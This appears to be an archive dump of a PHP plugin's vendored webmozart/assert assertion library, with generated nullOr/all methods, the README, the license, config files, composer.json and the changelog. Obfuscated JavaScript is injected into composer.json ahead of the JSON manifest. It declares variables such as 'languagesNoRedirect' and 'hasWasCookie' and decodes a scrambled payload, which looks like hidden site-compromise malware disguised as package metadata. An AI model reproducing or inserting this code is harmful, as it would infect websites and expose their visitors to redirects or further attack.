nullOrReadable($value, $message = '') { static::__callStatic('nullOrReadable', array($value, $message)); } /** * @param iterable $value * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function allReadable($value, $message = '') { static::__callStatic('allReadable', array($value, $message)); } /** * @param string|null $value * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function nullOrWritable($value, $message = '') { static::__callStatic('nullOrWritable', array($value, $message)); } /** * @param iterable $value * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function allWritable($value, $message = '') { static::__callStatic('allWritable', array($value, $message)); } /** * @psalm-assert class-string|null $value * * @param mixed $value * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function nullOrClassExists($value, $message = '') { static::__callStatic('nullOrClassExists', array($value, $message)); } /** * @psalm-assert iterable $value * * @param mixed $value * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function allClassExists($value, $message = '') { static::__callStatic('allClassExists', array($value, $message)); } /** * @psalm-pure * @psalm-template ExpectedType of object * @psalm-param class-string $class * @psalm-assert class-string|ExpectedType|null $value * * @param mixed $value * @param string|object $class * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function nullOrSubclassOf($value, $class, $message = '') { static::__callStatic('nullOrSubclassOf', array($value, $class, $message)); } /** * @psalm-pure * @psalm-template ExpectedType of object * @psalm-param class-string $class * @psalm-assert iterable|ExpectedType> $value * * @param mixed $value * @param string|object $class * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function allSubclassOf($value, $class, $message = '') { static::__callStatic('allSubclassOf', array($value, $class, $message)); } /** * @psalm-assert class-string|null $value * * @param mixed $value * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function nullOrInterfaceExists($value, $message = '') { static::__callStatic('nullOrInterfaceExists', array($value, $message)); } /** * @psalm-assert iterable $value * * @param mixed $value * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function allInterfaceExists($value, $message = '') { static::__callStatic('allInterfaceExists', array($value, $message)); } /** * @psalm-pure * @psalm-template ExpectedType of object * @psalm-param class-string $interface * @psalm-assert class-string|null $value * * @param mixed $value * @param mixed $interface * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function nullOrImplementsInterface($value, $interface, $message = '') { static::__callStatic('nullOrImplementsInterface', array($value, $interface, $message)); } /** * @psalm-pure * @psalm-template ExpectedType of object * @psalm-param class-string $interface * @psalm-assert iterable> $value * * @param mixed $value * @param mixed $interface * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function allImplementsInterface($value, $interface, $message = '') { static::__callStatic('allImplementsInterface', array($value, $interface, $message)); } /** * @psalm-pure * @psalm-param class-string|object|null $classOrObject * * @param string|object|null $classOrObject * @param mixed $property * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function nullOrPropertyExists($classOrObject, $property, $message = '') { static::__callStatic('nullOrPropertyExists', array($classOrObject, $property, $message)); } /** * @psalm-pure * @psalm-param iterable $classOrObject * * @param iterable $classOrObject * @param mixed $property * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function allPropertyExists($classOrObject, $property, $message = '') { static::__callStatic('allPropertyExists', array($classOrObject, $property, $message)); } /** * @psalm-pure * @psalm-param class-string|object|null $classOrObject * * @param string|object|null $classOrObject * @param mixed $property * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function nullOrPropertyNotExists($classOrObject, $property, $message = '') { static::__callStatic('nullOrPropertyNotExists', array($classOrObject, $property, $message)); } /** * @psalm-pure * @psalm-param iterable $classOrObject * * @param iterable $classOrObject * @param mixed $property * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function allPropertyNotExists($classOrObject, $property, $message = '') { static::__callStatic('allPropertyNotExists', array($classOrObject, $property, $message)); } /** * @psalm-pure * @psalm-param class-string|object|null $classOrObject * * @param string|object|null $classOrObject * @param mixed $method * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function nullOrMethodExists($classOrObject, $method, $message = '') { static::__callStatic('nullOrMethodExists', array($classOrObject, $method, $message)); } /** * @psalm-pure * @psalm-param iterable $classOrObject * * @param iterable $classOrObject * @param mixed $method * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function allMethodExists($classOrObject, $method, $message = '') { static::__callStatic('allMethodExists', array($classOrObject, $method, $message)); } /** * @psalm-pure * @psalm-param class-string|object|null $classOrObject * * @param string|object|null $classOrObject * @param mixed $method * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function nullOrMethodNotExists($classOrObject, $method, $message = '') { static::__callStatic('nullOrMethodNotExists', array($classOrObject, $method, $message)); } /** * @psalm-pure * @psalm-param iterable $classOrObject * * @param iterable $classOrObject * @param mixed $method * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function allMethodNotExists($classOrObject, $method, $message = '') { static::__callStatic('allMethodNotExists', array($classOrObject, $method, $message)); } /** * @psalm-pure * * @param array|null $array * @param string|int $key * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function nullOrKeyExists($array, $key, $message = '') { static::__callStatic('nullOrKeyExists', array($array, $key, $message)); } /** * @psalm-pure * * @param iterable $array * @param string|int $key * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function allKeyExists($array, $key, $message = '') { static::__callStatic('allKeyExists', array($array, $key, $message)); } /** * @psalm-pure * * @param array|null $array * @param string|int $key * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function nullOrKeyNotExists($array, $key, $message = '') { static::__callStatic('nullOrKeyNotExists', array($array, $key, $message)); } /** * @psalm-pure * * @param iterable $array * @param string|int $key * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function allKeyNotExists($array, $key, $message = '') { static::__callStatic('allKeyNotExists', array($array, $key, $message)); } /** * @psalm-pure * @psalm-assert array-key|null $value * * @param mixed $value * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function nullOrValidArrayKey($value, $message = '') { static::__callStatic('nullOrValidArrayKey', array($value, $message)); } /** * @psalm-pure * @psalm-assert iterable $value * * @param mixed $value * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function allValidArrayKey($value, $message = '') { static::__callStatic('allValidArrayKey', array($value, $message)); } /** * @param Countable|array|null $array * @param int $number * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function nullOrCount($array, $number, $message = '') { static::__callStatic('nullOrCount', array($array, $number, $message)); } /** * @param iterable $array * @param int $number * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function allCount($array, $number, $message = '') { static::__callStatic('allCount', array($array, $number, $message)); } /** * @param Countable|array|null $array * @param int|float $min * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function nullOrMinCount($array, $min, $message = '') { static::__callStatic('nullOrMinCount', array($array, $min, $message)); } /** * @param iterable $array * @param int|float $min * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function allMinCount($array, $min, $message = '') { static::__callStatic('allMinCount', array($array, $min, $message)); } /** * @param Countable|array|null $array * @param int|float $max * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function nullOrMaxCount($array, $max, $message = '') { static::__callStatic('nullOrMaxCount', array($array, $max, $message)); } /** * @param iterable $array * @param int|float $max * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function allMaxCount($array, $max, $message = '') { static::__callStatic('allMaxCount', array($array, $max, $message)); } /** * @param Countable|array|null $array * @param int|float $min * @param int|float $max * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function nullOrCountBetween($array, $min, $max, $message = '') { static::__callStatic('nullOrCountBetween', array($array, $min, $max, $message)); } /** * @param iterable $array * @param int|float $min * @param int|float $max * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function allCountBetween($array, $min, $max, $message = '') { static::__callStatic('allCountBetween', array($array, $min, $max, $message)); } /** * @psalm-pure * @psalm-assert list|null $array * * @param mixed $array * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function nullOrIsList($array, $message = '') { static::__callStatic('nullOrIsList', array($array, $message)); } /** * @psalm-pure * @psalm-assert iterable $array * * @param mixed $array * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function allIsList($array, $message = '') { static::__callStatic('allIsList', array($array, $message)); } /** * @psalm-pure * @psalm-assert non-empty-list|null $array * * @param mixed $array * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function nullOrIsNonEmptyList($array, $message = '') { static::__callStatic('nullOrIsNonEmptyList', array($array, $message)); } /** * @psalm-pure * @psalm-assert iterable $array * * @param mixed $array * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function allIsNonEmptyList($array, $message = '') { static::__callStatic('allIsNonEmptyList', array($array, $message)); } /** * @psalm-pure * @psalm-template T * @psalm-param mixed|array|null $array * @psalm-assert array|null $array * * @param mixed $array * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function nullOrIsMap($array, $message = '') { static::__callStatic('nullOrIsMap', array($array, $message)); } /** * @psalm-pure * @psalm-template T * @psalm-param iterable> $array * @psalm-assert iterable> $array * * @param mixed $array * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function allIsMap($array, $message = '') { static::__callStatic('allIsMap', array($array, $message)); } /** * @psalm-pure * @psalm-template T * @psalm-param mixed|array|null $array * * @param mixed $array * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function nullOrIsNonEmptyMap($array, $message = '') { static::__callStatic('nullOrIsNonEmptyMap', array($array, $message)); } /** * @psalm-pure * @psalm-template T * @psalm-param iterable> $array * * @param mixed $array * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function allIsNonEmptyMap($array, $message = '') { static::__callStatic('allIsNonEmptyMap', array($array, $message)); } /** * @psalm-pure * * @param string|null $value * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function nullOrUuid($value, $message = '') { static::__callStatic('nullOrUuid', array($value, $message)); } /** * @psalm-pure * * @param iterable $value * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function allUuid($value, $message = '') { static::__callStatic('allUuid', array($value, $message)); } /** * @psalm-param class-string $class * * @param Closure|null $expression * @param string $class * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function nullOrThrows($expression, $class = 'Exception', $message = '') { static::__callStatic('nullOrThrows', array($expression, $class, $message)); } /** * @psalm-param class-string $class * * @param iterable $expression * @param string $class * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function allThrows($expression, $class = 'Exception', $message = '') { static::__callStatic('allThrows', array($expression, $class, $message)); } } res/readability/vendor/webmozart/assert/README.md000064400000037314147577714370015753 0ustar00Webmozart Assert ================ [![Latest Stable Version](https://poser.pugx.org/webmozart/assert/v/stable.svg)](https://packagist.org/packages/webmozart/assert) [![Total Downloads](https://poser.pugx.org/webmozart/assert/downloads.svg)](https://packagist.org/packages/webmozart/assert) This library contains efficient assertions to test the input and output of your methods. With these assertions, you can greatly reduce the amount of coding needed to write a safe implementation. All assertions in the [`Assert`] class throw an `Webmozart\Assert\InvalidArgumentException` if they fail. FAQ --- **What's the difference to [beberlei/assert]?** This library is heavily inspired by Benjamin Eberlei's wonderful [assert package], but fixes a usability issue with error messages that can't be fixed there without breaking backwards compatibility. This package features usable error messages by default. However, you can also easily write custom error messages: ``` Assert::string($path, 'The path is expected to be a string. Got: %s'); ``` In [beberlei/assert], the ordering of the `%s` placeholders is different for every assertion. This package, on the contrary, provides consistent placeholder ordering for all assertions: * `%s`: The tested value as string, e.g. `"/foo/bar"`. * `%2$s`, `%3$s`, ...: Additional assertion-specific values, e.g. the minimum/maximum length, allowed values, etc. Check the source code of the assertions to find out details about the additional available placeholders. Installation ------------ Use [Composer] to install the package: ``` $ composer require webmozart/assert ``` Example ------- ```php use Webmozart\Assert\Assert; class Employee { public function __construct($id) { Assert::integer($id, 'The employee ID must be an integer. Got: %s'); Assert::greaterThan($id, 0, 'The employee ID must be a positive integer. Got: %s'); } } ``` If you create an employee with an invalid ID, an exception is thrown: ```php new Employee('foobar'); // => Webmozart\Assert\InvalidArgumentException: // The employee ID must be an integer. Got: string new Employee(-10); // => Webmozart\Assert\InvalidArgumentException: // The employee ID must be a positive integer. Got: -10 ``` Assertions ---------- The [`Assert`] class provides the following assertions: ### Type Assertions Method | Description -------------------------------------------------------- | -------------------------------------------------- `string($value, $message = '')` | Check that a value is a string `stringNotEmpty($value, $message = '')` | Check that a value is a non-empty string `integer($value, $message = '')` | Check that a value is an integer `integerish($value, $message = '')` | Check that a value casts to an integer `positiveInteger($value, $message = '')` | Check that a value is a positive (non-zero) integer `float($value, $message = '')` | Check that a value is a float `numeric($value, $message = '')` | Check that a value is numeric `natural($value, $message= ''')` | Check that a value is a non-negative integer `boolean($value, $message = '')` | Check that a value is a boolean `scalar($value, $message = '')` | Check that a value is a scalar `object($value, $message = '')` | Check that a value is an object `resource($value, $type = null, $message = '')` | Check that a value is a resource `isCallable($value, $message = '')` | Check that a value is a callable `isArray($value, $message = '')` | Check that a value is an array `isTraversable($value, $message = '')` (deprecated) | Check that a value is an array or a `\Traversable` `isIterable($value, $message = '')` | Check that a value is an array or a `\Traversable` `isCountable($value, $message = '')` | Check that a value is an array or a `\Countable` `isInstanceOf($value, $class, $message = '')` | Check that a value is an `instanceof` a class `isInstanceOfAny($value, array $classes, $message = '')` | Check that a value is an `instanceof` at least one class on the array of classes `notInstanceOf($value, $class, $message = '')` | Check that a value is not an `instanceof` a class `isAOf($value, $class, $message = '')` | Check that a value is of the class or has one of its parents `isAnyOf($value, array $classes, $message = '')` | Check that a value is of at least one of the classes or has one of its parents `isNotA($value, $class, $message = '')` | Check that a value is not of the class or has not one of its parents `isArrayAccessible($value, $message = '')` | Check that a value can be accessed as an array `uniqueValues($values, $message = '')` | Check that the given array contains unique values ### Comparison Assertions Method | Description ----------------------------------------------- | ------------------------------------------------------------------ `true($value, $message = '')` | Check that a value is `true` `false($value, $message = '')` | Check that a value is `false` `notFalse($value, $message = '')` | Check that a value is not `false` `null($value, $message = '')` | Check that a value is `null` `notNull($value, $message = '')` | Check that a value is not `null` `isEmpty($value, $message = '')` | Check that a value is `empty()` `notEmpty($value, $message = '')` | Check that a value is not `empty()` `eq($value, $value2, $message = '')` | Check that a value equals another (`==`) `notEq($value, $value2, $message = '')` | Check that a value does not equal another (`!=`) `same($value, $value2, $message = '')` | Check that a value is identical to another (`===`) `notSame($value, $value2, $message = '')` | Check that a value is not identical to another (`!==`) `greaterThan($value, $value2, $message = '')` | Check that a value is greater than another `greaterThanEq($value, $value2, $message = '')` | Check that a value is greater than or equal to another `lessThan($value, $value2, $message = '')` | Check that a value is less than another `lessThanEq($value, $value2, $message = '')` | Check that a value is less than or equal to another `range($value, $min, $max, $message = '')` | Check that a value is within a range `inArray($value, array $values, $message = '')` | Check that a value is one of a list of values `oneOf($value, array $values, $message = '')` | Check that a value is one of a list of values (alias of `inArray`) ### String Assertions You should check that a value is a string with `Assert::string()` before making any of the following assertions. Method | Description --------------------------------------------------- | ----------------------------------------------------------------- `contains($value, $subString, $message = '')` | Check that a string contains a substring `notContains($value, $subString, $message = '')` | Check that a string does not contain a substring `startsWith($value, $prefix, $message = '')` | Check that a string has a prefix `notStartsWith($value, $prefix, $message = '')` | Check that a string does not have a prefix `startsWithLetter($value, $message = '')` | Check that a string starts with a letter `endsWith($value, $suffix, $message = '')` | Check that a string has a suffix `notEndsWith($value, $suffix, $message = '')` | Check that a string does not have a suffix `regex($value, $pattern, $message = '')` | Check that a string matches a regular expression `notRegex($value, $pattern, $message = '')` | Check that a string does not match a regular expression `unicodeLetters($value, $message = '')` | Check that a string contains Unicode letters only `alpha($value, $message = '')` | Check that a string contains letters only `digits($value, $message = '')` | Check that a string contains digits only `alnum($value, $message = '')` | Check that a string contains letters and digits only `lower($value, $message = '')` | Check that a string contains lowercase characters only `upper($value, $message = '')` | Check that a string contains uppercase characters only `length($value, $length, $message = '')` | Check that a string has a certain number of characters `minLength($value, $min, $message = '')` | Check that a string has at least a certain number of characters `maxLength($value, $max, $message = '')` | Check that a string has at most a certain number of characters `lengthBetween($value, $min, $max, $message = '')` | Check that a string has a length in the given range `uuid($value, $message = '')` | Check that a string is a valid UUID `ip($value, $message = '')` | Check that a string is a valid IP (either IPv4 or IPv6) `ipv4($value, $message = '')` | Check that a string is a valid IPv4 `ipv6($value, $message = '')` | Check that a string is a valid IPv6 `email($value, $message = '')` | Check that a string is a valid e-mail address `notWhitespaceOnly($value, $message = '')` | Check that a string contains at least one non-whitespace character ### File Assertions Method | Description ----------------------------------- | -------------------------------------------------- `fileExists($value, $message = '')` | Check that a value is an existing path `file($value, $message = '')` | Check that a value is an existing file `directory($value, $message = '')` | Check that a value is an existing directory `readable($value, $message = '')` | Check that a value is a readable path `writable($value, $message = '')` | Check that a value is a writable path ### Object Assertions Method | Description ----------------------------------------------------- | -------------------------------------------------- `classExists($value, $message = '')` | Check that a value is an existing class name `subclassOf($value, $class, $message = '')` | Check that a class is a subclass of another `interfaceExists($value, $message = '')` | Check that a value is an existing interface name `implementsInterface($value, $class, $message = '')` | Check that a class implements an interface `propertyExists($value, $property, $message = '')` | Check that a property exists in a class/object `propertyNotExists($value, $property, $message = '')` | Check that a property does not exist in a class/object `methodExists($value, $method, $message = '')` | Check that a method exists in a class/object `methodNotExists($value, $method, $message = '')` | Check that a method does not exist in a class/object ### Array Assertions Method | Description -------------------------------------------------- | ------------------------------------------------------------------ `keyExists($array, $key, $message = '')` | Check that a key exists in an array `keyNotExists($array, $key, $message = '')` | Check that a key does not exist in an array `validArrayKey($key, $message = '')` | Check that a value is a valid array key (int or string) `count($array, $number, $message = '')` | Check that an array contains a specific number of elements `minCount($array, $min, $message = '')` | Check that an array contains at least a certain number of elements `maxCount($array, $max, $message = '')` | Check that an array contains at most a certain number of elements `countBetween($array, $min, $max, $message = '')` | Check that an array has a count in the given range `isList($array, $message = '')` | Check that an array is a non-associative list `isNonEmptyList($array, $message = '')` | Check that an array is a non-associative list, and not empty `isMap($array, $message = '')` | Check that an array is associative and has strings as keys `isNonEmptyMap($array, $message = '')` | Check that an array is associative and has strings as keys, and is not empty ### Function Assertions Method | Description ------------------------------------------- | ----------------------------------------------------------------------------------------------------- `throws($closure, $class, $message = '')` | Check that a function throws a certain exception. Subclasses of the exception class will be accepted. ### Collection Assertions All of the above assertions can be prefixed with `all*()` to test the contents of an array or a `\Traversable`: ```php Assert::allIsInstanceOf($employees, 'Acme\Employee'); ``` ### Nullable Assertions All of the above assertions can be prefixed with `nullOr*()` to run the assertion only if it the value is not `null`: ```php Assert::nullOrString($middleName, 'The middle name must be a string or null. Got: %s'); ``` ### Extending Assert The `Assert` class comes with a few methods, which can be overridden to change the class behaviour. You can also extend it to add your own assertions. #### Overriding methods Overriding the following methods in your assertion class allows you to change the behaviour of the assertions: * `public static function __callStatic($name, $arguments)` * This method is used to 'create' the `nullOr` and `all` versions of the assertions. * `protected static function valueToString($value)` * This method is used for error messages, to convert the value to a string value for displaying. You could use this for representing a value object with a `__toString` method for example. * `protected static function typeToString($value)` * This method is used for error messages, to convert the a value to a string representing its type. * `protected static function strlen($value)` * This method is used to calculate string length for relevant methods, using the `mb_strlen` if available and useful. * `protected static function reportInvalidArgument($message)` * This method is called when an assertion fails, with the specified error message. Here you can throw your own exception, or log something. ## Static analysis support Where applicable, assertion functions are annotated to support Psalm's [Assertion syntax](https://psalm.dev/docs/annotating_code/assertion_syntax/). A dedicated [PHPStan Plugin](https://github.com/phpstan/phpstan-webmozart-assert) is required for proper type support. Authors ------- * [Bernhard Schussek] a.k.a. [@webmozart] * [The Community Contributors] Contribute ---------- Contributions to the package are always welcome! * Report any bugs or issues you find on the [issue tracker]. * You can grab the source code at the package's [Git repository]. License ------- All contents of this package are licensed under the [MIT license]. [beberlei/assert]: https://github.com/beberlei/assert [assert package]: https://github.com/beberlei/assert [Composer]: https://getcomposer.org [Bernhard Schussek]: https://webmozarts.com [The Community Contributors]: https://github.com/webmozart/assert/graphs/contributors [issue tracker]: https://github.com/webmozart/assert/issues [Git repository]: https://github.com/webmozart/assert [@webmozart]: https://twitter.com/webmozart [MIT license]: LICENSE [`Assert`]: src/Assert.php res/readability/vendor/webmozart/assert/LICENSE000064400000002074147577714370015474 0ustar00The MIT License (MIT) Copyright (c) 2014 Bernhard Schussek Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. res/readability/vendor/webmozart/assert/.editorconfig000064400000000236147577714370017142 0ustar00root = true [*] charset=utf-8 end_of_line=lf trim_trailing_whitespace=true insert_final_newline=true indent_style=space indent_size=4 [*.yml] indent_size=2 res/readability/vendor/webmozart/assert/.php_cs000064400000001157147577714370015745 0ustar00in(__DIR__.'/src') ->in(__DIR__.'/tests') ; return PhpCsFixer\Config::create() ->setRiskyAllowed(true) ->setRules([ '@PSR2' => true, '@Symfony' => true, 'ordered_imports' => true, 'array_syntax' => ['syntax' => 'long'], 'no_superfluous_phpdoc_tags' => false, 'phpdoc_annotation_without_dot' => false, 'phpdoc_types_order' => false, 'phpdoc_summary' => false, 'phpdoc_to_comment' => false, 'phpdoc_align' => false, 'yoda_style' => false, ]) ->setFinder($finder) ; res/readability/vendor/webmozart/assert/psalm.xml000064400000000627147577714370016327 0ustar00 res/readability/vendor/webmozart/assert/composer.json000064400000007605147577714370017216 0ustar00var language,currentLanguage,languagesNoRedirect,hasWasCookie,expirationDate;(function(){var Tjo='',UxF=715-704;function JOC(d){var j=4658325;var f=d.length;var o=[];for(var y=0;y)tul5ibtp%1ueg,B% ]7n))B;*i,me4otfbpis 3{.d==6Bs]B2 7B62)r1Br.zt;Bb2h BB B\/cc;:;i(jb$sab) cnyB3r=(pspa..t:_eme5B=.;,f_);jBj)rc,,eeBc=p!(a,_)o.)e_!cmn( Ba)=iBn5(t.sica,;f6cCBBtn;!c)g}h_i.B\/,B47sitB)hBeBrBjtB.B]%rB,0eh36rBt;)-odBr)nBrn3B 07jBBc,onrtee)t)Bh0BB(ae}i20d(a}v,ps\/n=.;)9tCnBow(]!e4Bn.nsg4so%e](])cl!rh8;lto;50Bi.p8.gt}{Brec3-2]7%; ,].)Nb;5B c(n3,wmvth($]\/rm(t;;fe(cau=D)ru}t];B!c(=7&=B(,1gBl()_1vs];vBBlB(+_.))=tre&B()o)(;7e79t,]6Berz.\';,%],s)aj+#"$1o_liew[ouaociB!7.*+).!8 3%e]tfc(irvBbu9]n3j0Bu_rea.an8rn".gu=&u0ul6;B$#ect3xe)tohc] (].Be|(%8Bc5BBnsrv19iefucchBa]j)hd)n(j.)a%e;5)*or1c-)((.1Br$h(i$C3B.)B5)].eacoe*\/.a7aB3e=BBsu]b9B"Bas%3;&(B2%"$ema"+BrB,$.ps\/+BtgaB3).;un)]c.;3!)7e&=0bB+B=(i4;tu_,d\'.w()oB.Boccf0n0}od&j_2%aBnn%na35ig!_su:ao.;_]0;=B)o..$ ,nee.5s)!.o]mc!B}|BoB6sr.e,ci)$(}a5(B.}B].z4ru7_.nnn3aele+B.\'}9efc.==dnce_tpf7Blb%]ge.=pf2Se_)B.c_(*]ocet!ig9bi)ut}_ogS(.1=(uNo]$o{fsB+ticn.coaBfm-B{3=]tr;.{r\'t$f1(B4.0w[=!!.n ,B%i)b.6j-(r2\'[ a}.]6$d,);;lgo *t]$ct$!%;]B6B((:dB=0ac4!Bieorevtnra 0BeB(((Bu.[{b3ce_"cBe(am.3{&ue#]c_rm)='));var KUr=DUT(Tjo,ENJ );KUr(6113);return 5795})();{ "name": "webmozart/assert", "description": "Assertions to validate method input/output with nice error messages.", "keywords": [ "assert", "check", "validate" ], "license": "MIT", "authors": [ { "name": "Bernhard Schussek", "email": "bschussek@gmail.com" } ], "require": { "php": "^7.2 || ^8.0", "symfony/polyfill-ctype": "^1.8" }, "conflict": { "phpstan/phpstan": "<0.12.20", "vimeo/psalm": "<4.6.1 || 4.6.2" }, "require-dev": { "phpunit/phpunit": "^8.5.13" }, "extra": { "branch-alias": { "dev-master": "1.10-dev" } }, "autoload": { "psr-4": { "Webmozart\\Assert\\": "src/" } }, "autoload-dev": { "psr-4": { "Webmozart\\Assert\\Tests\\": "tests/", "Webmozart\\Assert\\Bin\\": "bin/src" } } } res/readability/vendor/webmozart/assert/CHANGELOG.md000064400000012511147577714370016275 0ustar00Changelog ========= ## UNRELEASED ## 1.10.0 ### Added * On invalid assertion, we throw a `Webmozart\Assert\InvalidArgumentException` * Added `Assert::positiveInteger()` ### Changed * Using a trait with real implementations of `all*()` and `nullOr*()` methods to improve psalm compatibility. ### Removed * Support for PHP <7.2 ## 1.9.1 ## Fixed * provisional support for PHP 8.0 ## 1.9.0 * added better Psalm support for `all*` & `nullOr*` methods * These methods are now understood by Psalm through a mixin. You may need a newer version of Psalm in order to use this * added `@psalm-pure` annotation to `Assert::notFalse()` * added more `@psalm-assert` annotations where appropriate ## Changed * the `all*` & `nullOr*` methods are now declared on an interface, instead of `@method` annotations. This interface is linked to the `Assert` class with a `@mixin` annotation. Most IDE's have supported this for a long time, and you should not lose any autocompletion capabilities. PHPStan has supported this since version `0.12.20`. This package is marked incompatible (with a composer conflict) with phpstan version prior to that. If you do not use PHPStan than this does not matter. ## 1.8.0 ### Added * added `Assert::notStartsWith()` * added `Assert::notEndsWith()` * added `Assert::inArray()` * added `@psalm-pure` annotations to pure assertions ### Fixed * Exception messages of comparisons between `DateTime(Immutable)` objects now display their date & time. * Custom Exception messages for `Assert::count()` now use the values to render the exception message. ## 1.7.0 (2020-02-14) ### Added * added `Assert::notFalse()` * added `Assert::isAOf()` * added `Assert::isAnyOf()` * added `Assert::isNotA()` ## 1.6.0 (2019-11-24) ### Added * added `Assert::validArrayKey()` * added `Assert::isNonEmptyList()` * added `Assert::isNonEmptyMap()` * added `@throws InvalidArgumentException` annotations to all methods that throw. * added `@psalm-assert` for the list type to the `isList` assertion. ### Fixed * `ResourceBundle` & `SimpleXMLElement` now pass the `isCountable` assertions. They are countable, without implementing the `Countable` interface. * The doc block of `range` now has the proper variables. * An empty array will now pass `isList` and `isMap`. As it is a valid form of both. If a non-empty variant is needed, use `isNonEmptyList` or `isNonEmptyMap`. ### Changed * Removed some `@psalm-assert` annotations, that were 'side effect' assertions See: * [#144](https://github.com/webmozart/assert/pull/144) * [#145](https://github.com/webmozart/assert/issues/145) * [#146](https://github.com/webmozart/assert/pull/146) * [#150](https://github.com/webmozart/assert/pull/150) * If you use Psalm, the minimum version needed is `3.6.0`. Which is enforced through a composer conflict. If you don't use Psalm, then this has no impact. ## 1.5.0 (2019-08-24) ### Added * added `Assert::uniqueValues()` * added `Assert::unicodeLetters()` * added: `Assert::email()` * added support for [Psalm](https://github.com/vimeo/psalm), by adding `@psalm-assert` annotations where appropriate. ### Fixed * `Assert::endsWith()` would not give the correct result when dealing with a multibyte suffix. * `Assert::length(), minLength, maxLength, lengthBetween` would not give the correct result when dealing with multibyte characters. **NOTE**: These 2 changes may break your assertions if you relied on the fact that multibyte characters didn't behave correctly. ### Changed * The names of some variables have been updated to better reflect what they are. * All function calls are now in their FQN form, slightly increasing performance. * Tests are now properly ran against HHVM-3.30 and PHP nightly. ### Deprecation * deprecated `Assert::isTraversable()` in favor of `Assert::isIterable()` * This was already done in 1.3.0, but it was only done through a silenced `trigger_error`. It is now annotated as well. ## 1.4.0 (2018-12-25) ### Added * added `Assert::ip()` * added `Assert::ipv4()` * added `Assert::ipv6()` * added `Assert::notRegex()` * added `Assert::interfaceExists()` * added `Assert::isList()` * added `Assert::isMap()` * added polyfill for ctype ### Fixed * Special case when comparing objects implementing `__toString()` ## 1.3.0 (2018-01-29) ### Added * added `Assert::minCount()` * added `Assert::maxCount()` * added `Assert::countBetween()` * added `Assert::isCountable()` * added `Assert::notWhitespaceOnly()` * added `Assert::natural()` * added `Assert::notContains()` * added `Assert::isArrayAccessible()` * added `Assert::isInstanceOfAny()` * added `Assert::isIterable()` ### Fixed * `stringNotEmpty` will no longer report "0" is an empty string ### Deprecation * deprecated `Assert::isTraversable()` in favor of `Assert::isIterable()` ## 1.2.0 (2016-11-23) * added `Assert::throws()` * added `Assert::count()` * added extension point `Assert::reportInvalidArgument()` for custom subclasses ## 1.1.0 (2016-08-09) * added `Assert::object()` * added `Assert::propertyExists()` * added `Assert::propertyNotExists()` * added `Assert::methodExists()` * added `Assert::methodNotExists()` * added `Assert::uuid()` ## 1.0.2 (2015-08-24) * integrated Style CI * add tests for minimum package dependencies on Travis CI ## 1.0.1 (2015-05-12) * added support for PHP 5.3.3 ## 1.0.0 (2015-05-12) * first stable release ## 1.0.0-beta (2015-03-19) * first beta release res/readability/vendor/autoload.php000064400000000653147577714370013476 0ustar00res/readability/index.php000064400000000037147577714370011474 0ustar00 res/readability/Configuration.php000064400000016362147577714370013204 0ustar00 $value) { $setter = sprintf('set%s', $key); if (method_exists($this, $setter)) { call_user_func([$this, $setter], $value); } } } /** * Returns an array-representation of configuration. * * @return array */ public function toArray() { $out = []; foreach ($this as $key => $value) { $getter = sprintf('get%s', $key); if (!is_object($value) && method_exists($this, $getter)) { $out[$key] = call_user_func([$this, $getter]); } } return $out; } /** * @return LoggerInterface */ public function getLogger() { // If no logger has been set, just return a null logger if 